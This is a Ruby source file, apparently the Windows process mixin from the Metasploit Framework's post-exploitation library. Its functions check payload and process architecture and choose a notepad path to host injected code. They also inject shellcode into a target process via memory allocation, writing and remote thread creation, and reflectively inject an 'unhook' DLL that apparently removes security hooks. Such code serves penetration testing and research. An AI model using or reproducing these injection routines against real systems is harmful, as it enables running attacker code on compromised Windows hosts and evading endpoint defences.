dwelch-r7
109 lines
3.0 KiB
Ruby
109 lines
3.0 KiB
Ruby
# -*- coding: binary -*-
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module Msf
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class Post
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module Windows
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module Process
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include Msf::Post::Windows::ReflectiveDLLInjection
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# Checks the Architeture of a Payload and PID are compatible
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# Returns true if they are false if they are not
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def arch_check(test_arch, pid)
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# get the pid arch
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client.sys.process.processes.each do |p|
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# Check Payload Arch
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if pid == p["pid"]
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return test_arch == p['arch']
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end
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end
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end
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# returns the path to the notepad process based on syswow extension
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def get_notepad_pathname(bits, windir, client_arch)
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if bits == ARCH_X86 and client_arch == ARCH_X86
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cmd = "#{windir}\\System32\\notepad.exe"
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elsif bits == ARCH_X64 and client_arch == ARCH_X64
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cmd = "#{windir}\\System32\\notepad.exe"
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elsif bits == ARCH_X64 and client_arch == ARCH_X86
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cmd = "#{windir}\\Sysnative\\notepad.exe"
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elsif bits == ARCH_X86 and client_arch == ARCH_X64
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cmd = "#{windir}\\SysWOW64\\notepad.exe"
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end
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return cmd
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end
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#
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# Injects shellcode to a process, and executes it.
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#
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# @param shellcode [String] The shellcode to execute
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# @param base_addr [Integer] The base address to allocate memory
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# @param pid [Integer] The process ID to inject to
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#
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# @return [Boolean] True if successful, otherwise false
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#
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def execute_shellcode(shellcode, base_addr=nil, pid=nil)
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pid ||= session.sys.process.getpid
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host = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
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if base_addr.nil?
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shell_addr = host.memory.allocate(shellcode.length)
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else
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shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
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end
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host.memory.protect(shell_addr)
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if host.memory.write(shell_addr, shellcode) < shellcode.length
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vprint_error("Failed to write shellcode")
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return false
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end
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vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{pid.to_s})")
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thread = host.thread.create(shell_addr,0)
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unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
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vprint_error("Unable to create thread")
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nil
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end
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thread
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end
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def inject_unhook(proc, bits, delay_sec)
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if bits == ARCH_X64
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dll_file_name = 'x64.dll'
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elsif bits == ARCH_X86
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dll_file_name = 'x86.dll'
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else
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return false
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end
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dll_file = MetasploitPayloads.meterpreter_ext_path('unhook', dll_file_name)
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dll, offset = inject_dll_into_process(proc, dll_file)
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proc.thread.create(dll + offset, 0)
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Rex.sleep(delay_sec)
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end
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# Determines if a PID actually exists
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def has_pid?(pid)
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procs = []
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begin
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procs = client.sys.process.processes
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rescue Rex::Post::Meterpreter::RequestError
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print_error("Unable to enumerate processes")
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return false
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end
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procs.each do |p|
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found_pid = p['pid']
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return true if found_pid == pid
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end
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print_error("PID #{pid.to_s} does not actually exist.")
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return false
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end
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end # Process
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end # Windows
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end # Post
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end # Msf
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